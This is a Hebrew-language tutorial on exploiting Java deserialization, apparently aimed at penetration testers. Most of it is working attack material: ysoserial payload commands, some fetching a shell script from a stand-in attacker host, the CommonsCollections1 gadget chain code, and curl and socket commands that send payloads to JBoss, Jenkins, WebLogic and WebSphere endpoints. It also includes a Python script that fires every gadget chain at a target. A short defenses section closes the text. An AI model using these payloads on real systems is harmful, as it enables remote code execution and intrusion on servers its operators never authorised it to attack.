לדלג לתוכן

דסריאליזציה מתקדמת - Java Deserialization

מבוא לסריאליזציה ב-Java

סריאליזציה ב-Java היא תהליך המרה של אובייקט Java לרצף של בתים, שניתן לשמור לקובץ או לשלוח ברשת. דסריאליזציה היא התהליך ההפוך - המרת רצף הבתים חזרה לאובייקט.

מבנה הפורמט

כל אובייקט Java מסורלז מתחיל עם Magic Bytes קבועים:

AC ED 00 05

בייצוג Base64, המחרוזת מתחילה ב:

rO0AB...

קוד בסיסי

import java.io.*;

// סריאליזציה
public class SerializeExample {
    public static void main(String[] args) throws Exception {
        // יצירת אובייקט
        String data = "Hello World";

        // כתיבה לקובץ
        ObjectOutputStream oos = new ObjectOutputStream(
            new FileOutputStream("data.ser")
        );
        oos.writeObject(data);
        oos.close();
    }
}

// דסריאליזציה
public class DeserializeExample {
    public static void main(String[] args) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(
            new FileInputStream("data.ser")
        );
        // כאן קורה הקסם - האובייקט נבנה מחדש
        String data = (String) ois.readObject();
        System.out.println(data);
        ois.close();
    }
}

מדוע דסריאליזציה ב-Java מסוכנת

הבעיה המרכזית

כש-Java מבצעת דסריאליזציה, היא מפעילה קוד כחלק מתהליך בניית האובייקט. אם ב-classpath של האפליקציה קיימות ספריות מסוימות, ניתן לבנות שרשרת של אובייקטים (Gadget Chain) שגורמת להרצת קוד שרירותי.

שרשראות Gadget - Gadget Chains

שרשרת Gadget היא רצף של אובייקטים שכל אחד קורא למתודה של הבא בתור, עד שמגיעים להרצת פקודה:

Object A (readObject)
  --> calls method on Object B
    --> calls method on Object C
      --> calls Runtime.exec("command")

הכלי ysoserial

הכלי ysoserial מייצר payloads מוכנים לניצול דסריאליזציה ב-Java:

# התקנה
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn clean package -DskipTests

# או הורדה ישירה של ה-JAR
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

שרשראות נפוצות

# CommonsCollections1 - דורש Apache Commons Collections 3.1
java -jar ysoserial-all.jar CommonsCollections1 "id" > payload.ser

# CommonsCollections5 - דורש Apache Commons Collections 3.1
java -jar ysoserial-all.jar CommonsCollections5 "wget http://attacker.com/shell.sh" > payload.ser

# CommonsCollections6 - עובד עם Commons Collections 3.1-3.2.1
java -jar ysoserial-all.jar CommonsCollections6 "curl http://attacker.com" > payload.ser

# CommonsCollections7 - שרשרת נוספת ל-Commons Collections
java -jar ysoserial-all.jar CommonsCollections7 "ping -c1 attacker.com" > payload.ser

# CommonsBeanutils1 - דורש Commons Beanutils + Commons Collections
java -jar ysoserial-all.jar CommonsBeanutils1 "whoami" > payload.ser

# Spring1 - דורש Spring Framework
java -jar ysoserial-all.jar Spring1 "touch /tmp/pwned" > payload.ser

# JBossInterceptors - דורש JBoss
java -jar ysoserial-all.jar JBossInterceptors1 "id" > payload.ser

שליחה בקידוד Base64

# יצירת payload בקידוד Base64
java -jar ysoserial-all.jar CommonsCollections5 "id" | base64 -w 0

# שליחה ב-HTTP
curl -X POST http://target.com/api/deserialize \
  -H "Content-Type: application/x-java-serialized-object" \
  --data-binary @payload.ser

כיצד עובדת שרשרת CommonsCollections1

הרעיון

הספרייה Apache Commons Collections מכילה מחלקות שמאפשרות טרנספורמציה של אובייקטים. ניתן לשרשר אותן כך שיגרמו להרצת פקודה.

// השרשרת בפשטות:
// 1. InvokerTransformer - קורא למתודה על אובייקט
// 2. ChainedTransformer - משרשר מספר Transformers
// 3. ConstantTransformer - מחזיר ערך קבוע
// 4. LazyMap - מפעיל Transformer כשניגשים למפתח שלא קיים
// 5. TiedMapEntry - גורם לגישה ל-Map בזמן hashCode()
// 6. HashSet/HashMap - קורא ל-hashCode() בזמן readObject()

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;

// בניית שרשרת ה-Transformers
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer(
        "getMethod",
        new Class[] { String.class, Class[].class },
        new Object[] { "getRuntime", new Class[0] }
    ),
    new InvokerTransformer(
        "invoke",
        new Class[] { Object.class, Object[].class },
        new Object[] { null, new Object[0] }
    ),
    new InvokerTransformer(
        "exec",
        new Class[] { String.class },
        new Object[] { "calc.exe" }  // הפקודה שתורץ
    )
};

Transformer chain = new ChainedTransformer(transformers);

זרימת ההרצה

readObject() [HashMap]
  --> hashCode() [TiedMapEntry]
    --> get() [LazyMap]
      --> transform() [ChainedTransformer]
        --> ConstantTransformer: returns Runtime.class
        --> InvokerTransformer: Runtime.getMethod("getRuntime")
        --> InvokerTransformer: method.invoke(null)  = Runtime.getRuntime()
        --> InvokerTransformer: runtime.exec("calc.exe")

זיהוי נקודות דסריאליזציה

סימנים ב-HTTP

# Content-Type headers
Content-Type: application/x-java-serialized-object
Content-Type: application/x-java-object

# Magic Bytes בבקשה (hex)
AC ED 00 05

# Base64 בפרמטרים
?data=rO0ABXNy...
?viewstate=rO0ABXNy...

# Cookies עם נתונים מסורלזים
Cookie: session=rO0ABXNy...
Cookie: JSESSIONID=...; userdata=rO0ABXNy...

סימנים בפרוטוקולים

# RMI - Remote Method Invocation (port 1099)
# JMX - Java Management Extensions (port 9010)
# T3/IIOP - WebLogic protocols (port 7001)
# Custom protocols over TCP

סריקה אוטומטית

# שימוש ב-Burp Extension - Java Deserialization Scanner
# או שימוש ב-ysoserial עם URLDNS payload לזיהוי

# URLDNS - לא מריץ קוד, רק שולח בקשת DNS
java -jar ysoserial-all.jar URLDNS "http://BURP-COLLABORATOR.burpcollaborator.net" > detect.ser

# אם מגיעה בקשת DNS ל-Collaborator - האפליקציה פגיעה

יעדים בעולם האמיתי

JBoss

# JBoss 4.x/5.x/6.x - נקודת כניסה ב-JMXInvokerServlet
curl http://target:8080/invoker/JMXInvokerServlet \
  --data-binary @payload.ser

# JBoss - HttpInvoker
curl http://target:8080/invoker/readonly \
  --data-binary @payload.ser

Jenkins

# Jenkins CLI (port 50000 או דרך HTTP)
# Jenkins < 2.154 / < 2.138.4

# שליחת payload דרך CLI protocol
python3 -c "
import socket
s = socket.socket()
s.connect(('target', 50000))

# Jenkins CLI protocol header
s.send(b'\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74')

with open('payload.ser', 'rb') as f:
    s.send(f.read())
"

WebLogic

# WebLogic T3 Protocol (port 7001)
# CVE-2015-4852, CVE-2017-10271, CVE-2019-2725

# שימוש בכלי ייעודי
python3 weblogic_exploit.py -t target:7001 -p CommonsCollections1 -c "id"

# WebLogic IIOP
# CVE-2020-2551

WebSphere

# IBM WebSphere - SOAP connector (port 8880)
curl http://target:8880/ \
  -H "Content-Type: text/xml" \
  -d @soap_payload.xml

# ה-payload מוכנס בתוך SOAP envelope בקידוד Base64

זיהוי ספריות פגיעות ב-Classpath

כלי ysoserial URLDNS

# URLDNS payload לא דורש ספריות נוספות - עובד תמיד
# משמש לזיהוי שהאפליקציה מבצעת דסריאליזציה
java -jar ysoserial-all.jar URLDNS "http://detect.attacker.com" | base64

סריקה שיטתית

#!/usr/bin/env python3
"""
סקריפט לזיהוי שרשרת Gadget מתאימה
נוסה כל שרשרת ומחכה לתגובה ב-Collaborator
"""
import subprocess
import requests
import base64
import time

CHAINS = [
    "CommonsCollections1",
    "CommonsCollections2",
    "CommonsCollections3",
    "CommonsCollections4",
    "CommonsCollections5",
    "CommonsCollections6",
    "CommonsCollections7",
    "CommonsBeanutils1",
    "Spring1",
    "Spring2",
    "Groovy1",
    "JBossInterceptors1",
    "Hibernate1",
    "Hibernate2",
    "MozillaRhino1",
    "MozillaRhino2",
]

def generate_payload(chain, command):
    result = subprocess.run(
        ["java", "-jar", "ysoserial-all.jar", chain, command],
        capture_output=True
    )
    return result.stdout

def test_chain(target_url, chain, collaborator_id):
    command = f"nslookup {chain}.{collaborator_id}.burpcollaborator.net"
    payload = generate_payload(chain, command)

    if not payload:
        print(f"[-] {chain}: Failed to generate")
        return

    encoded = base64.b64encode(payload).decode()

    try:
        response = requests.post(
            target_url,
            data=payload,
            headers={"Content-Type": "application/x-java-serialized-object"},
            timeout=10
        )
        print(f"[*] {chain}: Sent (status={response.status_code})")
    except Exception as e:
        print(f"[-] {chain}: Error - {e}")

# שימוש
target = "http://target:8080/invoker/JMXInvokerServlet"
collab = "abc123"

for chain in CHAINS:
    test_chain(target, chain, collab)
    time.sleep(1)

print("\n[*] Check Burp Collaborator for DNS callbacks")
print("[*] The chain name will appear as subdomain")

בניית שרשרת Gadget מותאמת אישית

מתודולוגיה

  1. זהו את הספריות ב-classpath של היעד
  2. חפשו מחלקות עם readObject() או readResolve() מותאמים
  3. מפו את הקריאות שמתבצעות בזמן דסריאליזציה
  4. מצאו נתיב מ-readObject() ל-Runtime.exec() או דומה

כלים לניתוח

# GadgetInspector - סורק classpath ומוצא שרשראות חדשות
git clone https://github.com/JackOfMostTrades/gadgetinspector.git
cd gadgetinspector
mvn clean package

# הרצה על קובץ JAR/WAR
java -jar gadget-inspector.jar target-app.war

# Gadget Probe - בדיקה אילו ספריות קיימות ב-classpath
git clone https://github.com/BishopFox/GadgetProbe.git

דוגמה לשרשרת מותאמת

// נניח שמצאנו את המחלקות הבאות ב-classpath:

// מחלקה A - יש לה readObject() שקורא ל-compare()
public class VulnerableComparator implements Comparator, Serializable {
    private Object delegate;

    private void readObject(ObjectInputStream ois) throws Exception {
        ois.defaultReadObject();
        // קורא ל-compare על delegate
        this.delegate.compare(this, this);
    }
}

// מחלקה B - compare() שלה קורא ל-toString()
public class DangerousCompare implements Comparator, Serializable {
    private Object target;

    public int compare(Object a, Object b) {
        return target.toString().compareTo(b.toString());
    }
}

// מחלקה C - toString() שלה מריצה קוד
public class CommandRunner implements Serializable {
    private String command;

    public String toString() {
        try {
            Runtime.getRuntime().exec(command);
        } catch (Exception e) {}
        return command;
    }
}

// השרשרת: readObject() -> compare() -> toString() -> exec()

הגנות

אל תבצעו דסריאליזציה של מידע לא מהימן

// הפתרון הטוב ביותר - השתמשו ב-JSON במקום
// Jackson, Gson, או org.json

import com.google.gson.Gson;

Gson gson = new Gson();
MyObject obj = gson.fromJson(jsonString, MyObject.class);

רשימת היתר למחלקות - Whitelist

// שימוש ב-ObjectInputFilter (Java 9+)
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filterInfo -> {
    Class<?> clazz = filterInfo.serialClass();
    if (clazz == null) return ObjectInputFilter.Status.UNDECIDED;

    // רק מחלקות מותרות
    Set<String> allowed = Set.of(
        "com.myapp.dto.UserData",
        "com.myapp.dto.OrderData"
    );

    if (allowed.contains(clazz.getName())) {
        return ObjectInputFilter.Status.ALLOWED;
    }
    return ObjectInputFilter.Status.REJECTED;
});

Look-Ahead ObjectInputStream

// ספרייה שמאפשרת בדיקה לפני דסריאליזציה
// Apache Commons IO - ValidatingObjectInputStream

ValidatingObjectInputStream vois = new ValidatingObjectInputStream(inputStream);
vois.accept(UserData.class, OrderData.class);
vois.reject("org.apache.commons.collections.*");

Object obj = vois.readObject();

עדכון ספריות

<!-- וודאו שהספריות מעודכנות -->
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.4</version> <!-- גרסה מתוקנת -->
</dependency>

סיכום

רכיב פרטים
Magic Bytes AC ED 00 05 (hex) / rO0AB (Base64)
כלי עיקרי ysoserial
שרשראות נפוצות CommonsCollections, CommonsBeanutils, Spring
יעדים נפוצים JBoss, Jenkins, WebLogic, WebSphere
זיהוי URLDNS payload + Burp Collaborator
הגנה מרכזית אל תבצעו דסריאליזציה של מידע לא מהימן

חולשות דסריאליזציה ב-Java נותנות RCE מיידי. זו אחת החולשות החמורות ביותר - וגם אחת הנפוצות ביותר באפליקציות ארגוניות.